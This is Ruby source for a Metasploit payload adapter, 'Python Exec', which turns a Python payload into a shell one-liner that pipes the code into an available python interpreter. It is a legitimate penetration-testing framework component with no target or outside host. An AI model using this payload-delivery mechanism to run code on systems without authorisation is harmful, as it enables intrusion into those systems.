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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  include Msf::Payload::Adapter
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Python Exec',
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        'Description' => 'Execute a Python payload as an OS command from a Posix-compatible shell',
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        'Author' => 'Spencer McIntyre',
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'License' => MSF_LICENSE,
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        'AdaptedArch' => ARCH_PYTHON,
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        'AdaptedPlatform' => 'python'
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      )
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    )
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  end
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  def compatible?(mod)
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    if mod.type == Msf::MODULE_PAYLOAD && mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space
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      return false
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    end
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    super
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  end
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  def generate(_opts = {})
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    payload = super
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    if payload.include?("\n")
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      payload = Msf::Payload::Python.create_exec_stub(payload)
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    end
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    "echo #{Shellwords.escape(payload)} | exec $(which python || which python3 || which python2) -"
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  end
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end
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